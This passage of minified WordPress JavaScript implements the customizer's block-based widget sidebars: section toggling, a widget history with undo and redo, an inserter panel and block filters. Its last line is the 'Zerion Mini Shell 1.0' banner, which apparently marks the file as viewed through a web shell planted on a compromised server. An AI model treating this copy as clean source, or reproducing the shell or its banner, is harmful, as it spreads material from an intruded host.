0!==arguments[0]?arguments[0]:{};this.isOpen=!0,this.returnFocusWhenClose=e,this.expand({allowMultiple:!0})}close(){this.collapse({allowMultiple:!0})}collapse(e){this.isOpen=!1,super.collapse(e)}triggerActiveCallbacks(){this.active.callbacks.fireWith(this.active,[!1,!0])}}}();this.inspector=new t(`widgets-inspector-${this.id}`,{title:(0,p.__)("Block Settings"),parentSection:this,customizeAction:[(0,p.__)("Customizing"),(0,p.__)("Widgets"),this.params.title].join(" ▸ ")}),e.section.add(this.inspector),this.contentContainer[0].classList.add("customize-widgets__sidebar-section")}hasSubSectionOpened(){return this.inspector.expanded()}onChangeExpanded(e,t){const n=this.controls(),s={...t,completeCallback(){var r;n.forEach((t=>{var r;null===(r=t.onChangeSectionExpanded)||void 0===r||r.call(t,e,s)})),null===(r=t.completeCallback)||void 0===r||r.call(t)}};if(s.manualTransition){e?(this.contentContainer.addClass(["busy","open"]),this.contentContainer.removeClass("is-sub-section-open"),this.contentContainer.closest(".wp-full-overlay").addClass("section-open")):(this.contentContainer.addClass(["busy","is-sub-section-open"]),this.contentContainer.closest(".wp-full-overlay").addClass("section-open"),this.contentContainer.removeClass("open"));const t=()=>{this.contentContainer.removeClass("busy"),s.completeCallback()};r?t():this.contentContainer.one("transitionend",t)}else super.onChangeExpanded(e,s)}}}const{wp:Te}=window;function Ne(e){const t=e.match(/^(.+)-(\d+)$/);return t?{idBase:t[1],number:parseInt(t[2],10)}:{idBase:e}}function Pe(e){const{idBase:t,number:r}=Ne(e);return r?`widget_${t}[${r}]`:`widget_${t}`}class Oe{constructor(e,t){this.setting=e,this.api=t,this.locked=!1,this.widgetsCache=new WeakMap,this.subscribers=new Set,this.history=[this._getWidgetIds().map((e=>this.getWidget(e)))],this.historyIndex=0,this.historySubscribers=new Set,this._debounceSetHistory=function(e,t,r){let n,s=!1;function i(){for(var i=arguments.length,o=new Array(i),a=0;a<i;a++)o[a]=arguments[a];const c=(s?t:e).apply(this,o);return s=!0,clearTimeout(n),n=setTimeout((()=>{s=!1}),r),c}return i.cancel=()=>{s=!1,clearTimeout(n)},i}(this._pushHistory,this._replaceHistory,1e3),this.setting.bind(this._handleSettingChange.bind(this)),this.api.bind("change",this._handleAllSettingsChange.bind(this)),this.undo=this.undo.bind(this),this.redo=this.redo.bind(this),this.save=this.save.bind(this)}subscribe(e){return this.subscribers.add(e),()=>{this.subscribers.delete(e)}}getWidgets(){return this.history[this.historyIndex]}_emit(){for(const e of this.subscribers)e(...arguments)}_getWidgetIds(){return this.setting.get()}_pushHistory(){this.history=[...this.history.slice(0,this.historyIndex+1),this._getWidgetIds().map((e=>this.getWidget(e)))],this.historyIndex+=1,this.historySubscribers.forEach((e=>e()))}_replaceHistory(){this.history[this.historyIndex]=this._getWidgetIds().map((e=>this.getWidget(e)))}_handleSettingChange(){if(this.locked)return;const e=this.getWidgets();this._pushHistory(),this._emit(e,this.getWidgets())}_handleAllSettingsChange(e){if(this.locked)return;if(!e.id.startsWith("widget_"))return;const t=be(e.id);if(!this.setting.get().includes(t))return;const r=this.getWidgets();this._pushHistory(),this._emit(r,this.getWidgets())}_createWidget(e){const t=Te.customize.Widgets.availableWidgets.findWhere({id_base:e.idBase});let r=e.number;t.get("is_multi")&&!r&&(t.set("multi_number",t.get("multi_number")+1),r=t.get("multi_number"));const n=r?`widget_${e.idBase}[${r}]`:`widget_${e.idBase}`,s={transport:Te.customize.Widgets.data.selectiveRefreshableWidgets[t.get("id_base")]?"postMessage":"refresh",previewer:this.setting.previewer};this.api.create(n,n,"",s).set(e.instance);return be(n)}_removeWidget(e){const t=Pe(e.id),r=this.api(t);if(r){const e=r.get();this.widgetsCache.delete(e)}this.api.remove(t)}_updateWidget(e){const t=this.getWidget(e.id);if(t===e)return e.id;if(t.idBase&&e.idBase&&t.idBase===e.idBase){const t=Pe(e.id);return this.api(t).set(e.instance),e.id}return this._removeWidget(e),this._createWidget(e)}getWidget(e){if(!e)return null;const{idBase:t,number:r}=Ne(e),n=Pe(e),s=this.api(n);if(!s)return null;const i=s.get();if(this.widgetsCache.has(i))return this.widgetsCache.get(i);const o={id:e,idBase:t,number:r,instance:i};return this.widgetsCache.set(i,o),o}_updateWidgets(e){this.locked=!0;const t=[],r=e.map((e=>{if(e.id&&this.getWidget(e.id))return t.push(null),this._updateWidget(e);const r=this._createWidget(e);return t.push(r),r}));return this.getWidgets().filter((e=>!r.includes(e.id))).forEach((e=>this._removeWidget(e))),this.setting.set(r),this.locked=!1,t}setWidgets(e){const t=this._updateWidgets(e);return this._debounceSetHistory(),t}hasUndo(){return this.historyIndex>0}hasRedo(){return this.historyIndex<this.history.length-1}_seek(e){const t=this.getWidgets();this.historyIndex=e;const r=this.history[this.historyIndex];this._updateWidgets(r),this._emit(t,this.getWidgets()),this.historySubscribers.forEach((e=>e())),this._debounceSetHistory.cancel()}undo(){this.hasUndo()&&this._seek(this.historyIndex-1)}redo(){this.hasRedo()&&this._seek(this.historyIndex+1)}subscribeHistory(e){return this.historySubscribers.add(e),()=>{this.historySubscribers.delete(e)}}save(){this.api.previewer.save()}}var Fe=window.wp.dom;function Le(){const{wp:{customize:e}}=window;return class extends e.Control{constructor(){super(...arguments),this.subscribers=new Set}ready(){const t=function(){const{wp:{customize:e}}=window,t=e.OuterSection;return e.OuterSection=class extends t{onChangeExpanded(t,r){return t&&e.section.each((e=>{"outer"===e.params.type&&e.id!==this.id&&e.expanded()&&e.collapse()})),super.onChangeExpanded(t,r)}},e.sectionConstructor.outer=e.OuterSection,class extends e.OuterSection{constructor(){super(...arguments),this.params.type="outer",this.activeElementBeforeExpanded=null,this.contentContainer[0].ownerDocument.defaultView.addEventListener("keydown",(e=>{!this.expanded()||e.keyCode!==x.ESCAPE&&"Escape"!==e.code||e.defaultPrevented||(e.preventDefault(),e.stopPropagation(),(0,d.dispatch)(F).setIsInserterOpened(!1))}),!0),this.contentContainer.addClass("widgets-inserter"),this.isFromInternalAction=!1,this.expanded.bind((()=>{this.isFromInternalAction||(0,d.dispatch)(F).setIsInserterOpened(this.expanded()),this.isFromInternalAction=!1}))}open(){if(!this.expanded()){const e=this.contentContainer[0];this.activeElementBeforeExpanded=e.ownerDocument.activeElement,this.isFromInternalAction=!0,this.expand({completeCallback(){const t=Fe.focus.tabbable.find(e)[1];t&&t.focus()}})}}close(){if(this.expanded()){const e=this.contentContainer[0],t=e.ownerDocument.activeElement;this.isFromInternalAction=!0,this.collapse({completeCallback(){e.contains(t)&&this.activeElementBeforeExpanded&&this.activeElementBeforeExpanded.focus()}})}}}}();this.inserter=new t(`widgets-inserter-${this.id}`,{}),e.section.add(this.inserter),this.sectionInstance=e.section(this.section()),this.inspector=this.sectionInstance.inspector,this.sidebarAdapter=new Oe(this.setting,e)}subscribe(e){return this.subscribers.add(e),()=>{this.subscribers.delete(e)}}onChangeSectionExpanded(e,t){t.unchanged||(e||(0,d.dispatch)(F).setIsInserterOpened(!1),this.subscribers.forEach((r=>r(e,t))))}}}const De=(0,b.createHigherOrderComponent)((e=>t=>{let r=(0,c.getWidgetIdFromBlock)(t);const n=function(){const{sidebarControls:e}=(0,o.useContext)(We);return e}(),s=function(){const{activeSidebarControl:e}=(0,o.useContext)(We);return e}(),i=(null==n?void 0:n.length)>1,a=t.name,l=t.clientId,u=(0,d.useSelect)((e=>e(g.store).canInsertBlockType(a,"")),[a]),m=(0,d.useSelect)((e=>e(g.store).getBlock(l)),[l]),{removeBlock:h}=(0,d.useDispatch)(g.store),[,p]=Ee();return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(e,t),i&&u&&(0,o.createElement)(g.BlockControls,null,(0,o.createElement)(c.MoveToWidgetArea,{widgetAreas:n.map((e=>({id:e.id,name:e.params.label,description:e.params.description}))),currentWidgetAreaId:null==s?void 0:s.id,onSelect:function(e){const t=n.find((t=>t.id===e));if(r){const e=s.setting,n=t.setting;e((0,se.without)(e(),r)),n([...n(),r])}else{const e=t.sidebarAdapter;h(l);const n=e.setWidgets([...e.getWidgets(),we(m)]);r=n.reverse().find((e=>!!e))}p(r)}})))}),"withMoveToSidebarToolbarItem");(0,w.addFilter)("editor.BlockEdit","core/customize-widgets/block-edit",De);(0,w.addFilter)("editor.MediaUpload","core/edit-widgets/replace-media-upload",(()=>v.MediaUpload));const{wp:Re}=window,He=(0,b.createHigherOrderComponent)((e=>t=>{var r,n;const{idBase:s}=t.attributes,i=null!==(r=null===(n=Re.customize.Widgets.data.availableWidgets.find((e=>e.id_base===s)))||void 0===n?void 0:n.is_wide)&&void 0!==r&&r;return(0,o.createElement)(e,E({},t,{isWide:i}))}),"withWideWidgetDisplay");(0,w.addFilter)("editor.BlockEdit","core/customize-widgets/wide-widget-display",He);const{wp:Ve}=window,Ge=["core/more","core/block","core/freeform","core/template-part"];function Ue(e,t){(0,d.dispatch)(u.store).setDefaults("core/customize-widgets",{fixedToolbar:!1,welcomeGuide:!0}),(0,d.dispatch)(l.store).__experimentalReapplyBlockTypeFilters();const r=(0,a.__experimentalGetCoreBlocks)().filter((e=>!(Ge.includes(e.name)||e.name.startsWith("core/post")||e.name.startsWith("core/query")||e.name.startsWith("core/site")||e.name.startsWith("core/navigation"))));(0,a.registerCoreBlocks)(r),(0,c.registerLegacyWidgetBlock)(),(0,c.registerLegacyWidgetVariations)(t),(0,c.registerWidgetGroupBlock)(),(0,l.setFreeformContentHandlerName)("core/html");const n=Le();Ve.customize.sectionConstructor.sidebar=Me(),Ve.customize.controlConstructor.sidebar_block_editor=n;const s=document.createElement("div");document.body.appendChild(s),Ve.customize.bind("ready",(()=>{const e=[];Ve.customize.control.each((t=>{t instanceof n&&e.push(t)})),(0,o.render)((0,o.createElement)(Ae,{api:Ve.customize,sidebarControls:e,blockEditorSettings:t}),s)}))}}(),(window.wp=window.wp||{}).customizeWidgets=n}();

Zerion Mini Shell 1.0